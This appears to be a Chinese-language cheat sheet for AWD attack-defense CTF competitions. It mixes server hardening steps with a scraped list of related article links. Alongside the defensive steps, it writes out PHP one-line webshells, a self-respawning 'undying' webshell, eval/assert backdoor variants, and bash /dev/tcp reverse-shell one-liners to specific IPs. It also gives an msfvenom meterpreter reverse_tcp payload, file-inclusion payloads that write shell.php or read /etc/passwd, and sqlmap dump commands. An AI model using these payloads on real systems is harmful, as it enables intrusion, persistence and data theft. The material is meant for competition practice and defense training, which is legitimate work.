AWD

备份源码,修改账户密码,查看是否有预留后门然后删掉

修改mysql密码

格式:mysqladmin -u用户名 -p旧密码 password 新密码 
例子:mysqladmin -uroot -p 123456 password 123

MySQL 完全备份和恢复

备份某—个数据库: mysqldump -u Username -p Password 数据库名 > /root/XXX.bak

会将指定的数据库备份至roo家目录下,文件名为XXX.bak

恢复: mysql -u Username -p Password 数据库名 < /root/XXX.bak

一句话木马

<?php @eval($_REQUEST['pass']); ?>      <%eval request("pass")%>         <?php @eval($_POST['c']); ?>

权限维持:1.不死马, 2. nc反弹shell  nc -lp 9999

ps auxww|grep shell.php 找到pid后杀掉进程就可以

修改ssh文件 vim /etc/ssh/sshd_config PermitRootLogin no

最后面加AllowUsers liu liu1

linux修改文件所有者和文件所在组

chgrp  用户名    文件名  -R

chown 用户名   文件名  -R

chmod -R 777 /var/home/userid/cc

1查看端口

netstat -tunpl        netstat -tunpl | grep 23 (查看是否打开23端口)

2. 查看端口对应的应用程序

lsof -i:xxx              查进程 ps aux

3. 关闭端口

iptable

sudo iptables -A INPUT -p tcp --dport $PORT -j DROP"
sudo iptables -A OUTPUT -p tcp --dport $PORT -j DROP"

kill

Ps -aux

kill -9 PID" (PID:进程号)

sudo /etc/init.d/apache2 restart

一.防御策略
命令注入漏洞
a)例 str1 = $_POST[‘cmd’],在str1 前连接 字符”#”注释字符,str1 = “#”. $_POST[‘cmd’]
b)        
上传文件漏洞
a)注释上传写入代码.
b)        
文件包含漏洞
a)       修改php.ini文件
allow_url_fopen    on
allow_url_include   on
                 修改为
allow_url_fopen    off
allow_url_include   off
b)        
远程代码执行漏洞
a)       注释危险函数:system() exec_shell() eval() assert() create_function() preg_replace() file_put_contents()
b)        
缓冲区溢出漏洞
a)       目前参考”7.Linux权限漏洞”,进行防御.
b)        
系统后门漏洞
a)       直接删除后门程序
b) “Ps –ef|grep bash”命令查看是否有bash后门程序
c) “ss -ltnp”命令查看,是否有后门程序监听端口
d) 从上两个步骤找到该程序pid,用”kill pid”命令结束后门bash程序
e)       在web网站目录下,查看文件内容找到webshell或一句话木马,进行删除文件或注释代码
f)         
Linux权限漏洞
a)“PS –ef|grep httpd”命令查看 Apache服务是否是root执行该服务,若是修改/etc/httpd/httpd.conf 文件找到”user” “group”字段后加上apache apache,重启httpd服务。使Apache服务是apache用户执行该服务.
b)       修改/bin/cat /bin/echo等关键命令二进制文件,改成其名称,让其攻击者无法利用bash读取flag文件内容.                                   
   1.防XSS

利用strip_tags()函数过滤字符串中的 HTML 标签;

利用htmlspecialchars()函数对敏感字符进行转换。

$message = mysql_real_escape_string($message);

作为body文本输出,作为html标签的属性输出:
比如:<span>${username}</span>, <p><c:out value="${username}"></c:out></p>
<input type="text" value="${username}" />
此时的转义规则如下:
< 转成 <
> 转成 >
& 转成 &
" 转成 "
' 转成 '
javascript事件
<input type="button" οnclick='go_to_url("${myUrl}");' />
除了上面的那些转义之外,还要附加上下面的转义:
\ 转成 \\
/ 转成 \/
; 转成 ;(全角;)
e) URL属性
如果 <script>, <style>, <imt> 等标签的 src 和 href 属性值为动态内容,那么要确保这些url没有执行恶意连接。
确保:href 和 src 的值必须以 http://开头,白名单方式;不能有10进制和16进制编码字符。
?:传参参数,代表是动态的
Title:传参函数名
 :传参内容的值(这就是url编码解码后变成“个人简介”,一般反射型XSS的注入点)
f)上传waf
如果是框架写出的web就很好部署了,直接require在重写文件或者数据库文件中,如果是零散的php文件,那也有办法,如果是fastcgi(nginx,IIS比较常见)运行的php就在.user.ini加一句,具体百度一下.user.ini的后门,原理一样。其他情况也可以写个脚本强行在每个PHP前面加一句,脚本代码的样例也会放出来。(当然apache也可以.htaccess强行重写到waf再转回原页面,但是万一没重写环境呢)
1.将waf.php传到要包含的文件的目录
2.在页面中加入防护,有两种做法,根据情况二选一即可:
a).在所需要防护的页面加入代码
require_once('waf.php');

就可以做到页面防注入、跨站
如果想整站防注,就在网站的一个公用文件中,如数据库链接文件config.inc.php中!
添加require_once('waf.php');来调用本代码
常用php系统添加文件
PHPCMS V9 \phpcms\base.php
PHPWIND8.7 \data\sql_config.php
DEDECMS5.7 \data\common.inc.php
DiscuzX2   \config\config_global.php
Wordpress   \wp-config.php
Metinfo   \include\head.php
b).在每个文件最前加上代码
在php.ini中找到:
Automatically add files before or after any PHP document.
auto_prepend_file = waf.php路径;

上传waf

如果是框架写出的web就很好部署了,直接require在重写文件或者数据库文件中,如果是零散的php文件,那也有办法,如果是fastcgi(nginx,IIS比较常见)运行的php就在.user.ini加一句,具体百度一下.user.ini的后门,原理一样。其他情况也可以写个脚本强行在每个PHP前面加一句,脚本代码的样例也会放出来。(当然apache也可以.htaccess强行重写到waf再转回原页面,但是万一没重写环境呢)

1.将waf.php传到要包含的文件的目录
2.在页面中加入防护,有两种做法,根据情况二选一即可:
a).在所需要防护的页面加入代码
require_once('waf.php');
就可以做到页面防注入、跨站
如果想整站防注,就在网站的一个公用文件中,如数据库链接文件config.inc.php中!
添加require_once('waf.php');来调用本代码
常用php系统添加文件
PHPCMS V9 \phpcms\base.php
PHPWIND8.7 \data\sql_config.php
DEDECMS5.7 \data\common.inc.php
DiscuzX2   \config\config_global.php
Wordpress   \wp-config.php
Metinfo   \include\head.php
b).在每个文件最前加上代码
在php.ini中找到:
Automatically add files before or after any PHP document.
auto_prepend_file = waf.php路径;

常见加固方式:

加固流程:

  1. 修改网站管理员密码
  2. 备份网站源码
    1. tar -zcf /tmp/name.tar.gz /path/web
    2. tar -zcf /tmp/name.tar.gz /var/www/html
  3. 备份数据库
    1. mysqldump -u 用户名 -p 数据库名 > 导出的文件名
    2. mysqldump -u user -p database > /tmp/database.sql
  4. 修改ssh密码(即修改当前用户密码)
  5. 修改MySQL密码
    1. set password for 用户名@localhost = password('新密码');
    2. set password for user@localhost = password('123');
  6. 修改MongoDB密码(27017端口)
  7. 修改Redis密码(6379端口)
  8. 修改网站源码中的数据库连接配置
  9. 部署waf(视情况而定)

文件监控

准备一个脚本,监控并删除所有新增文件。

发现内存马,直接重启php。

若监控脚本无法使用,使用命令定期查看新增与修改文件。

find web路径 -ctime -1 (查看最近一日新增的文件,是否可疑)

(1)用户登录,输入’测试存在sql注入点,万能密码 ' or 1='1   弱密码 admin/admin  火狐插件hackbar

select name,pass from tbAdmin where name='' or 1='1' and pass='123456'

(2)啊D扫描网站sql注入点,sqlmap注入,

比赛时Access数据库注入点:

http://10.1.14.1/ReadNews.asp?NewsID=20&BigClassID=2&SmallClassID=2

sqlmap -u "url"  查看系统,版本

sqlmap -u "url" --dbs 爆数据库

sqlmap -u "url" --tables -D ctf 爆表

sqlmap -u "url" --column -D ctf -T users 爆列

sqlmap -u "url" --dump -D ctf -T users "user_name,user_pass"  爆字段

网站数据库密码信息文件一般放在config.php中。

3.文件包含

(1)本地文件包含

localhost/a.php?file=/flag.txt

(2)远程文件包含

localhost/a.php?file=http:ip/echo.txt

利用,上传一句话木马

echo.txt 文件内容,会生成shell.php  内容为一句话木马。

<?php fputs(fopen("shell.php","w"),"<?php eval(\$_POST[xx]);?>");?>

常见的文件包含函数,include(),include_once(),require(),require_once()

几种经典的测试方法:

?file=../../../../../etc/passwd  长目录截断

?page=file:///etc/passwd   读取敏感文件

?home=main.cgi

?page=http://www.a.com/1.php

http://1.1.1.1/../../../../dir/file.txt

4.越权访问   allow_url_fopen  =ON, allow_url_include =ON

水平越权:修改id,访问他人

垂直越权:知道管理后台的url,通过访问,提升权限,获取数据。

/admin/upload/config.php  越权访问,无需登陆,直接显示

网站防御

上WAF,文件监控,安全狗,

在文件头写上,require_once(‘waf.php’);

可能存在flag的位置:

  1. 御剑扫描,双击网页打开,存在flag。
  2. ssh登陆,系统根目录下,/var/www/html下
  3. mysql数据库字段中。
  4. 远程主机桌面,文件夹下

一个针对php的web流量抓取,分析的应用。

可以发现ctf线下赛使用,也可以使用实际场景来抓web流量,分析攻击手段。

weblogger-master使用方法:

cd /var/www/html/ (or other web dir)

git clone https://github.com/wupco/weblogger.git

chmod -R 777 weblogger/

open http://xxxxx/weblogger/install.php in Web browser

install it

CTFDefense-CTFDefense

1.ctf-firewall.sh

iptables配置命令,可一键执行快速配置。使用时可能需要根据环境略微修改

2.commannd.md

一些线下赛中常用的linux操作命令

3.getRoot

一些本地提权poc,每个文件里都有详细的使用注释,编译好的文件在release目录下。还有几个实用脚本

4.显示器

一个简单的文件监控示例脚本,可以监控创建、删除、移动、属性修改操作,自动删除新增文件或目录。已使用pyinstaller打包成了linux可执行程序

5. WAF

linux版安全狗和几个waf脚本

nmap -nv ip n不要域名解析

nmap -sS ip SYN

nmap -T4 -A 高强度

python -c 'import pty;pty.spawn("/bin/bash")'

tar -zcf /tmp/xxx.tar.gz html

tar -xzvf /tmp/xxx.tar.gz

mysqldump –uxxx –pxxx dbname > xxx.sql

passwd

修改网站管理员密码

update users set password=md5(“xxxxxx”);

修改数据库密码

set password for 用户名@localhost = password('新密码');

bash -i >& /dev/tcp/10.51.4.222/8384 0>&1

bash -i >& /dev/tcp/10.11.23.226/5555 0>&1

/bin/bash -i &> /dev/tcp/10.51.4.222/8384 0>&1

echo "/bin/bash -i &> /dev/tcp/10.11.20.71/5555 0>&1" | /bin/bash

rm -rf /var/www/html/upload_lab/upload/*

zip:///var/www/html/upload/test.zip#test.php

http://123.206.174.251/include/2/?

op=zip://uploads/ea064516fe1e37af816bb52faa08eeb8589af4c0.png%23p

利用msf

msfvenom -p php/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=5555-f raw > 77778888.php

msfconsole:

use multi/handler

set payload php/meterpreter/reverse_tcp

set lhost 0.0.0.0

set lport 5555

set ExitOnSession false

run -j

php不死马

caidao

<?php

ignore_user_abort(true);

set_time_limit(0);

unlink(__FILE__);

$file = '/var/www/dvwa/.ski12.php';

$file = 'D:\\z_myweb\\phpStudy\\DVWA-master\\dvwa\\busi.php';

$code = '<?php if(md5($_GET["pass"])=="cdd7b7420654eb16c1e1b748d5b7c5b8"){@eval($_POST['a']);}?>';

while (1) {

file_put_contents($file, $code);

//system('touch -m -d "2018-12-01 09:10:12" .ski12.php');

usleep(5000);

}

后门

eval($_POST[“a”]);

assert($_POST[“a”]);     可以写成$a=“assert”;$a($_POST[a]);

array_filter(array($_POST[“a”]),”assert”);

preg_replace("/test/e",$_POST[“a"],"jutst test");

$func =create_function('',$_POST[‘a’]);$func();

echo array_map(“assert”, array($_POST[“a”]));

call_user_func("assert",$_POST['cmd’]);

call_user_func_array("assert", array($_POST[“a”]));

等等

删除不死马

kill -9 -1

kill -9 -1

linux新建用户

useradd -m username1

passwd username1

usermod -a -G sudo username1

防注入

addslashes

htmlspecialchars

CTF基础知识 && AWD红蓝对抗的更多相关文章

  1. 红蓝对抗 - 蓝队手册(BTFM)(转载)

    本文已发表在嘶吼RoarTalk,未经授权,请勿转载! http://www.4hou.com/technology/10173.html 最佳阅读体验版:https://stackedit.io/v ...

  2. 安恒Red Team 内部红蓝对抗框架

    0x00  准备钓鱼攻击(从公开资源) 1.常见的红队攻击向量和技术   2.常见的蓝队侦查和预防控制 0x02 发送钓鱼邮件(到目标组织员工邮箱地址) 1.常见的红队攻击向量和技术   2.常见的蓝 ...

  3. Photoshop CS6 基础知识

                                                                  Photoshop CS6  基础知识 新建  练习 宽度72, 像素厘米 ...

  4. UI设计初学者教程:色彩基础知识

    编辑:千锋UI设计 初学设计都会先认识三原色,通常我们说的三原色指的是颜料三原色:红.黄.蓝:其实三原色还有色光三原色:红.绿.蓝.我们通常说的红黄蓝就是减色法三原色,而红绿蓝是加色法三原色.可能这么 ...

  5. Postman和Selenium IDE开局自带红蓝BUFF属性,就问你要还是不要

    话不多说,下面给大家介绍两款工具,selenium IDE和Postman. 为什么说是自带红蓝Buff,因为想做UI自动化和接口自动化的同学,很多时候,都难在了开头. 比如你要学习语言,你要学习框架 ...

  6. Windows_Program_Via_C_Translate_Win32编程的背景知识/基础知识_包括基本输入输出机制介绍

    Some Basic Background Story of The Win32 APIs Win32 API背景故事/背景知识 The Win32 application programming i ...

  7. 想入门Web安全,这些基础知识都学会了吗?

    毕业季已经正式告一段落,这届毕业生都找到心仪的工作了吗? 正在实习期或者试用期的职场新人,是否在岗位上做的风生水起? 工作了一两年,从未升职加薪的菜鸟,还愿意继续原地踏步吗? 在校学生.IT从业者.毕 ...

  8. AI-图像基础知识-01

        目前人工智能Artificial Intelligence主要分为两大分支: 计算机视常见:Computer Vision,简称CV   CV主要是研究如何让机器看懂世界的一种技术,通过各种光 ...

  9. 【STM32H7教程】第50章 STM32H7的LCD控制器LTDC基础知识和HAL库API

    完整教程下载地址:http://www.armbbs.cn/forum.php?mod=viewthread&tid=86980 第50章       STM32H7的LCD控制器LTDC基础 ...

随机推荐

  1. JavaScript 基础知识 - BOM篇

    前言 本篇文章是JavaScript基础知识的BOM篇,如果前面的<JavaScript基础知识-DOM篇>看完了,现在就可以学习BOM了. 注意: 所有的案例都在这里链接: 提取密码密码 ...

  2. http响应Last-Modified和ETag

    http响应Last-Modified和ETag [日期:2008-06-16] 来源:  作者: [字体:大 中 小] 基础知识 1) 什么是”Last-Modified”? 在浏览器第一次请求某一 ...

  3. 通过德鲁伊druid给系统增加监控

    系统在线上运行了一段时间后,比如一年半载的,我们发现系统可能存在某些问题,比如执行系统变慢了,比如某些spring的bean无法监控各种调用情况. 触发到db的各种执行情况,这个时候,我们就需要一个工 ...

  4. 解压 .tar.xz 格式的压缩文件

    第一种方法: xz -d mysql-8.0.16-linux-glibc2.12-x86_64.tar.xz tar -xvf mysql-8.0.16-linux-glibc2.12-x86_64 ...

  5. Educational Codeforces Round 74 (Rated for Div. 2)【A,B,C【贪心】,D【正难则反的思想】】

    A. Prime Subtractiontime limit per test2 secondsmemory limit per test256 megabytesinputstandard inpu ...

  6. 007_linuxC++之_构造函数的初级应用

    (一)构造函数:用来在创建对象时初始化对象, 即为对象成员变量赋初始值 (二)构造函数的命名必须和类名完全相同 (三)更对具体的查看:构造函数 (四)直接分析程序 运行结果 解析上面程序: 1. 当程 ...

  7. STS工具:mybayis连接oracle数据库

    1.pom.xml文件中的依赖 刚添加依赖的时候会报错,原因是jar包下不下来. 2.我的jdk是1.6,所以需要升级jdk版本到1.8 执行mvn -v命令,可以看到maven的版本号 DOS窗口执 ...

  8. Bzoj 1086: [SCOI2005]王室联邦(分块)

    1086: [SCOI2005]王室联邦 Time Limit: 10 Sec Memory Limit: 162 MBSec Special Judge Submit: 1557 Solved: 9 ...

  9. Java集合总结(一):列表和队列

    java中的具体容器类都不是从头构建的,他们都继承了一些抽象容器类.这些抽象容器类,提供了容器接口的部分实现,方便具体容器类在抽象类的基础上做具体实现.容器类和接口的关系架构图如下: 虚线框表示接口, ...

  10. cmake语法入门记录

    刚刚开始学习ROS,打算入机器人的坑了,参考教材是<ROS及其人开发实践>胡春旭编著 机械工业出版社 华章科技出品.本来以为可以按照书上的步骤一步步来,但是,too young to si ...